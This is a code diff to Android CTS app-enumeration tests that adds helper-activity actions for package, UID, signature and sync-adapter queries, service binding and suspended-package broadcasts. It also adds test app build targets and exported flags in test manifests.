+import static android.appenumeration.cts.Constants.ACTION_HAS_SIGNING_CERTIFICATE;
 import static android.appenumeration.cts.Constants.ACTION_JUST_FINISH;
 import static android.appenumeration.cts.Constants.ACTION_QUERY_ACTIVITIES;
 import static android.appenumeration.cts.Constants.ACTION_QUERY_PROVIDERS;
@@ -26,10 +31,16 @@
 import static android.appenumeration.cts.Constants.ACTION_START_DIRECTLY;
 import static android.appenumeration.cts.Constants.ACTION_START_FOR_RESULT;
 import static android.appenumeration.cts.Constants.ACTION_START_SENDER_FOR_RESULT;
+import static android.appenumeration.cts.Constants.EXTRA_CERT;
+import static android.appenumeration.cts.Constants.EXTRA_DATA;
 import static android.appenumeration.cts.Constants.EXTRA_ERROR;
 import static android.appenumeration.cts.Constants.EXTRA_FLAGS;
 import static android.appenumeration.cts.Constants.EXTRA_REMOTE_CALLBACK;
+import static android.appenumeration.cts.Constants.EXTRA_REMOTE_READY_CALLBACK;
+import static android.content.Intent.EXTRA_COMPONENT_NAME;
 import static android.content.Intent.EXTRA_RETURN_RESULT;
+import static android.content.pm.PackageManager.CERT_INPUT_RAW_X509;
+import static android.os.Process.INVALID_UID;
 
 import android.app.Activity;
 import android.app.PendingIntent;
@@ -38,10 +49,14 @@
 import android.content.ActivityNotFoundException;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.IntentSender;
+import android.content.ServiceConnection;
+import android.content.SyncAdapterType;
+import android.content.pm.LauncherApps;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.database.Cursor;
@@ -49,14 +64,22 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.Parcelable;
 import android.os.PatternMatcher;
+import android.os.Process;
 import android.os.RemoteCallback;
 import android.util.SparseArray;
 
 import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.stream.Collectors;
 
 public class TestActivity extends Activity {
 
+    private final static long TIMEOUT_MS = 3000;
+
     SparseArray<RemoteCallback> callbacks = new SparseArray<>();
 
     private Handler mainHandler;
@@ -71,6 +94,7 @@
         backgroundHandler = new Handler(backgroundThread.getLooper());
         super.onCreate(savedInstanceState);
         handleIntent(getIntent());
+        onCommandReady(getIntent());
     }
 
     @Override
@@ -87,6 +111,24 @@
             if (ACTION_GET_PACKAGE_INFO.equals(action)) {
                 final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 sendPackageInfo(remoteCallback, packageName);
+            } else if (ACTION_GET_PACKAGES_FOR_UID.equals(action)) {
+                final int uid = intent.getIntExtra(Intent.EXTRA_UID, INVALID_UID);
+                sendPackagesForUid(remoteCallback, uid);
+            } else if (ACTION_GET_NAME_FOR_UID.equals(action)) {
+                final int uid = intent.getIntExtra(Intent.EXTRA_UID, INVALID_UID);
+                sendNameForUid(remoteCallback, uid);
+            } else if (ACTION_GET_NAMES_FOR_UIDS.equals(action)) {
+                final int uid = intent.getIntExtra(Intent.EXTRA_UID, INVALID_UID);
+                sendNamesForUids(remoteCallback, uid);
+            } else if (ACTION_CHECK_SIGNATURES.equals(action)) {
+                final int uid1 = getPackageManager().getApplicationInfo(
+                        getPackageName(), /* flags */ 0).uid;
+                final int uid2 = intent.getIntExtra(Intent.EXTRA_UID, INVALID_UID);
+                sendCheckSignatures(remoteCallback, uid1, uid2);
+            } else if (ACTION_HAS_SIGNING_CERTIFICATE.equals(action)) {
+                final int uid = intent.getIntExtra(Intent.EXTRA_UID, INVALID_UID);
+                final byte[] cert = intent.getBundleExtra(EXTRA_DATA).getByteArray(EXTRA_CERT);
+                sendHasSigningCertificate(remoteCallback, uid, cert, CERT_INPUT_RAW_X509);
             } else if (ACTION_START_FOR_RESULT.equals(action)) {
                 final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 int requestCode = RESULT_FIRST_USER + callbacks.size();
@@ -137,14 +179,29 @@
             } else if (Constants.ACTION_AWAIT_PACKAGE_REMOVED.equals(action)) {
                 final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 awaitPackageBroadcast(
-                        remoteCallback, packageName, Intent.ACTION_PACKAGE_REMOVED, 3000);
+                        remoteCallback, packageName, Intent.ACTION_PACKAGE_REMOVED, TIMEOUT_MS);
             } else if (Constants.ACTION_AWAIT_PACKAGE_ADDED.equals(action)) {
                 final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 awaitPackageBroadcast(
-                        remoteCallback, packageName, Intent.ACTION_PACKAGE_ADDED, 3000);
+                        remoteCallback, packageName, Intent.ACTION_PACKAGE_ADDED, TIMEOUT_MS);
             } else if (Constants.ACTION_QUERY_RESOLVER.equals(action)) {
                 final String authority = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 queryResolverForVisiblePackages(remoteCallback, authority);
+            } else if (Constants.ACTION_BIND_SERVICE.equals(action)) {
+                final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+                bindService(remoteCallback, packageName);
+            } else if (Constants.ACTION_GET_SYNCADAPTER_TYPES.equals(action)) {
+                sendSyncAdapterTypes(remoteCallback);
+            } else if (Constants.ACTION_AWAIT_PACKAGES_SUSPENDED.equals(action)) {
+                final String[] awaitPackages = intent.getBundleExtra(EXTRA_DATA)
+                        .getStringArray(Intent.EXTRA_PACKAGES);
+                awaitSuspendedPackagesBroadcast(remoteCallback, Arrays.asList(awaitPackages),
+                        Intent.ACTION_PACKAGES_SUSPENDED, TIMEOUT_MS);
+            } else if (Constants.ACTION_LAUNCHER_APPS_IS_ACTIVITY_ENABLED.equals(action)) {
+                final String componentName = intent.getBundleExtra(EXTRA_DATA)
+                        .getString(EXTRA_COMPONENT_NAME);
+                sendIsActivityEnabled(remoteCallback, ComponentName.unflattenFromString(
+                        componentName));
             } else {
                 sendError(remoteCallback, new Exception("unknown action " + action));
             }
@@ -153,6 +210,13 @@
         }
     }
 
+    private void onCommandReady(Intent intent) {
+        final RemoteCallback callback = intent.getParcelableExtra(EXTRA_REMOTE_READY_CALLBACK);
+        if (callback != null) {
+            callback.sendResult(null);
+        }
+    }
+
     private void awaitPackageBroadcast(RemoteCallback remoteCallback, String packageName,
             String action, long timeoutMs) {
         final IntentFilter filter = new IntentFilter(action);
@@ -163,7 +227,7 @@
             @Override
             public void onReceive(Context context, Intent intent) {
                 final Bundle result = new Bundle();
-                result.putString(Constants.EXTRA_DATA, intent.getDataString());
+                result.putString(EXTRA_DATA, intent.getDataString());
                 remoteCallback.sendResult(result);
                 mainHandler.removeCallbacksAndMessages(token);
                 finish();
@@ -175,6 +239,34 @@
                 token, timeoutMs);
     }
 
+    private void awaitSuspendedPackagesBroadcast(RemoteCallback remoteCallback,
+            List<String> awaitList, String action, long timeoutMs) {
+        final IntentFilter filter = new IntentFilter(action);
+        final ArrayList<String> suspendedList = new ArrayList<>();
+        final Object token = new Object();
+        final Runnable sendResult = () -> {
+            final Bundle result = new Bundle();
+            result.putStringArray(Intent.EXTRA_PACKAGES, suspendedList.toArray(new String[] {}));
+            remoteCallback.sendResult(result);
+            finish();
+        };
+        registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                final Bundle extras = intent.getExtras();
+                final String[] changedList = extras.getStringArray(
+                        Intent.EXTRA_CHANGED_PACKAGE_LIST);
+                suspendedList.addAll(Arrays.stream(changedList).filter(
+                        p -> awaitList.contains(p)).collect(Collectors.toList()));
+                if (suspendedList.size() == awaitList.size()) {
+                    mainHandler.removeCallbacksAndMessages(token);
+                    sendResult.run();
+                }
+            }
+        }, filter);
+        mainHandler.postDelayed(() -> sendResult.run(), token, timeoutMs);
+    }
+
     private void sendGetInstalledPackages(RemoteCallback remoteCallback, int flags) {
         String[] packages =
                 getPackageManager().getInstalledPackages(flags)
@@ -269,6 +361,76 @@
         finish();
     }
 
+    private void sendPackagesForUid(RemoteCallback remoteCallback, int uid) {
+        final String[] packages = getPackageManager().getPackagesForUid(uid);
+        final Bundle result = new Bundle();
+        result.putStringArray(EXTRA_RETURN_RESULT, packages);
+        remoteCallback.sendResult(result);
+        finish();
+    }
+
+    private void sendNameForUid(RemoteCallback remoteCallback, int uid) {
+        final String name = getPackageManager().getNameForUid(uid);
+        final Bundle result = new Bundle();
+        result.putString(EXTRA_RETURN_RESULT, name);
+        remoteCallback.sendResult(result);
+        finish();
+    }
+
+    private void sendNamesForUids(RemoteCallback remoteCallback, int uid) {
+        final String[] names = getPackageManager().getNamesForUids(new int[]{uid});
+        final Bundle result = new Bundle();
+        result.putStringArray(EXTRA_RETURN_RESULT, names);
+        remoteCallback.sendResult(result);
+        finish();
+    }
+
+    private void sendCheckSignatures(RemoteCallback remoteCallback, int uid1, int uid2) {
+        final int signatureResult = getPackageManager().checkSignatures(uid1, uid2);
+        final Bundle result = new Bundle();
+        result.putInt(EXTRA_RETURN_RESULT, signatureResult);
+        remoteCallback.sendResult(result);
+        finish();
+    }
+
+    private void sendHasSigningCertificate(RemoteCallback remoteCallback, int uid, byte[] cert,
+            int type) {
+        final boolean signatureResult = getPackageManager().hasSigningCertificate(uid, cert, type);
+        final Bundle result = new Bundle();
+        result.putBoolean(EXTRA_RETURN_RESULT, signatureResult);
+        remoteCallback.sendResult(result);
+        finish();
+    }
+
+    /**
+     * Instead of sending a list of package names, this function sends a List of
+     * {@link SyncAdapterType}, since the {@link SyncAdapterType#getPackageName()} is a test api
+     * which can only be invoked in the instrumentation.
+     */
+    private void sendSyncAdapterTypes(RemoteCallback remoteCallback) {
+        final SyncAdapterType[] types = ContentResolver.getSyncAdapterTypes();
+        final ArrayList<Parcelable> parcelables = new ArrayList<>();
+        for (SyncAdapterType type : types) {
+            parcelables.add(type);
+        }
+        final Bundle result = new Bundle();
+        result.putParcelableArrayList(EXTRA_RETURN_RESULT, parcelables);
+        remoteCallback.sendResult(result);
+        finish();
+    }
+
+    private void sendIsActivityEnabled(RemoteCallback remoteCallback, ComponentName componentName) {
+        final LauncherApps launcherApps = getSystemService(LauncherApps.class);
+        final Bundle result = new Bundle();
+        try {
+            result.putBoolean(EXTRA_RETURN_RESULT, launcherApps.isActivityEnabled(componentName,
+                    Process.myUserHandle()));
+        } catch (IllegalArgumentException e) {
+        }
+        remoteCallback.sendResult(result);
+        finish();
+    }
+
     @Override
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
         super.onActivityResult(requestCode, resultCode, data);
@@ -283,4 +445,47 @@
         remoteCallback.sendResult(result);
         finish();
     }
+
+    private void bindService(RemoteCallback remoteCallback, String packageName) {
+        final String SERVICE_NAME = "android.appenumeration.testapp.DummyService";
+        final Intent intent = new Intent();
+        intent.setClassName(packageName, SERVICE_NAME);
+        final ServiceConnection serviceConnection = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName className, IBinder service) {
+                // No-op
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName className) {
+                // No-op
+            }
+
+            @Override
+            public void onBindingDied(ComponentName name) {
+                // Remote service die
+                finish();
+            }
+
+            @Override
+            public void onNullBinding(ComponentName name) {
+                // Since the DummyService doesn't implement onBind, it returns null and
+                // onNullBinding would be called. Use postDelayed to keep this service
+                // connection alive for 3 seconds.
+                mainHandler.postDelayed(() -> {
+                    unbindService(this);
+                    finish();
+                }, TIMEOUT_MS);
+            }
+        };
+
+        final boolean bound = bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);
+        final Bundle result = new Bundle();
+        result.putBoolean(EXTRA_RETURN_RESULT, bound);
+        remoteCallback.sendResult(result);
+        // Don't invoke finish() right here if service is bound successfully to keep the service
+        // connection alive since the ServiceRecord would be remove from the ServiceMap once no
+        // client is binding the service.
+        if (!bound) finish();
+    }
 }
\ No newline at end of file
diff --git a/tests/tests/appenumeration/app/target/Android.bp b/tests/tests/appenumeration/app/target/Android.bp
index 55f08c4..fed0682 100644
--- a/tests/tests/appenumeration/app/target/Android.bp
+++ b/tests/tests/appenumeration/app/target/Android.bp
@@ -69,6 +69,19 @@
 }
 
 android_test_helper_app {
+    name: "CtsAppEnumerationStub",
+    manifest: "AndroidManifest-stub.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
     name: "CtsAppEnumerationSharedUidTarget",
     manifest: "AndroidManifest-noapi-sharedUser.xml",
     defaults: ["cts_support_defaults"],
@@ -158,3 +171,31 @@
     ],
     sdk_version: "test_current",
 }
+
+android_test_helper_app {
+    name: "CtsAppEnumerationSyncadapterTarget",
+    manifest: "AndroidManifest-syncadapter.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationSyncadapterSharedUidTarget",
+    manifest: "AndroidManifest-syncadapter-sharedUser.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-browserActivity.xml b/tests/tests/appenumeration/app/target/AndroidManifest-browserActivity.xml
index 696ef30..f4aecba 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-browserActivity.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-browserActivity.xml
@@ -19,7 +19,8 @@
     package="android.appenumeration.browser.activity">
     <application>
         <uses-library android:name="android.test.runner" />
-        <activity android:name="android.appenumeration.WebBrowser">
+        <activity android:name="android.appenumeration.WebBrowser"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW" />
                 <category android:name="android.intent.category.DEFAULT" />
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-browserWildcardActivity.xml b/tests/tests/appenumeration/app/target/AndroidManifest-browserWildcardActivity.xml
index 60ced57..97b0d9b 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-browserWildcardActivity.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-browserWildcardActivity.xml
@@ -19,7 +19,8 @@
     package="android.appenumeration.browser.wildcard.activity">
     <application>
         <uses-library android:name="android.test.runner" />
-        <activity android:name="android.appenumeration.WebBrowser">
+        <activity android:name="android.appenumeration.WebBrowser"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW" />
                 <category android:name="android.intent.category.DEFAULT" />
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-contactsActivity.xml b/tests/tests/appenumeration/app/target/AndroidManifest-contactsActivity.xml
index e31d018..0bff9cc 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-contactsActivity.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-contactsActivity.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-documentEditorActivity.xml b/tests/tests/appenumeration/app/target/AndroidManifest-documentEditorActivity.xml
index 445f90b..6795cf7 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-documentEditorActivity.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-documentEditorActivity.xml
@@ -1,25 +1,26 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appenumeration.editor.activity">
+     package="android.appenumeration.editor.activity">
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.appenumeration.EditorActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.appenumeration.EditorActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW"/>
                 <action android:name="android.intent.action.EDIT"/>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml b/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml
index 90b7c6d..59ec446 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml
@@ -1,74 +1,77 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appenumeration.filters">
+     package="android.appenumeration.filters">
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.appenumeration.testapp.DummyActivity"
-                  android:visibleToInstantApps="true">
+             android:visibleToInstantApps="true"
+             android:exported="true">
             <!-- Marked visible to instant apps to ensure this logic doesn't conflict with non
-                 instant filtering -->
+                                 instant filtering -->
             <intent-filter>
-                <action android:name="android.appenumeration.action.ACTIVITY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.appenumeration.action.ACTIVITY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <service android:name="android.appenumeration.testapp.DummyService">
+        <service android:name="android.appenumeration.testapp.DummyService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appenumeration.action.SERVICE" />
+                <action android:name="android.appenumeration.action.SERVICE"/>
             </intent-filter>
         </service>
         <provider android:name="android.appenumeration.testapp.DummyProvider"
-                  android:authorities="android.appenumeration.testapp"
-                  android:exported="true">
+             android:authorities="android.appenumeration.testapp"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appenumeration.action.PROVIDER" />
+                <action android:name="android.appenumeration.action.PROVIDER"/>
             </intent-filter>
         </provider>
-        <receiver android:name="android.appenumeration.testapp.DummyReceiver">
+        <receiver android:name="android.appenumeration.testapp.DummyReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appenumeration.action.BROADCAST" />
+                <action android:name="android.appenumeration.action.BROADCAST"/>
             </intent-filter>
         </receiver>
 
         <activity android:name="android.appenumeration.testapp.DummyActivityNotExported"
-                  android:exported="false">
+             android:exported="false">
             <intent-filter>
-                <action android:name="android.appenumeration.action.ACTIVITY_UNEXPORTED" />
+                <action android:name="android.appenumeration.action.ACTIVITY_UNEXPORTED"/>
             </intent-filter>
         </activity>
         <service android:name="android.appenumeration.testapp.DummyServiceNotExported"
-                 android:exported="false">
+             android:exported="false">
             <intent-filter>
-                <action android:name="android.appenumeration.action.SERVICE_UNEXPORTED" />
+                <action android:name="android.appenumeration.action.SERVICE_UNEXPORTED"/>
             </intent-filter>
         </service>
         <provider android:name="android.appenumeration.testapp.DummyProviderNotExported"
-                  android:authorities="android.appenumeration.testapp.unexported"
-                  android:exported="false" >
+             android:authorities="android.appenumeration.testapp.unexported"
+             android:exported="false">
             <intent-filter>
-                <action android:name="android.appenumeration.action.PROVIDER_UNEXPORTED" />
+                <action android:name="android.appenumeration.action.PROVIDER_UNEXPORTED"/>
             </intent-filter>
         </provider>
         <receiver android:name="android.appenumeration.testapp.DummyReceiverNotExported"
-                  android:exported="false">
+             android:exported="false">
             <intent-filter>
-                <action android:name="android.appenumeration.action.BROADCAST_UNEXPORTED" />
+                <action android:name="android.appenumeration.action.BROADCAST_UNEXPORTED"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
index 041d350..3778b04 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml b/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml
index c3d8487..3b5be22 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml b/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml
index 9b25acc..fc2835e 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-shareActivity.xml b/tests/tests/appenumeration/app/target/AndroidManifest-shareActivity.xml
index 87f621a..148fa29 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-shareActivity.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-shareActivity.xml
@@ -1,25 +1,26 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appenumeration.share.activity">
+     package="android.appenumeration.share.activity">
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.appenumeration.ShareActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.appenumeration.ShareActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <category android:name="android.intent.category.DEFAULT"/>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-stub.xml b/tests/tests/appenumeration/app/target/AndroidManifest-stub.xml
new file mode 100644
index 0000000..af8daa4
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-stub.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+    Copyright (C) 2021 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appenumeration.stub">
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+</manifest>
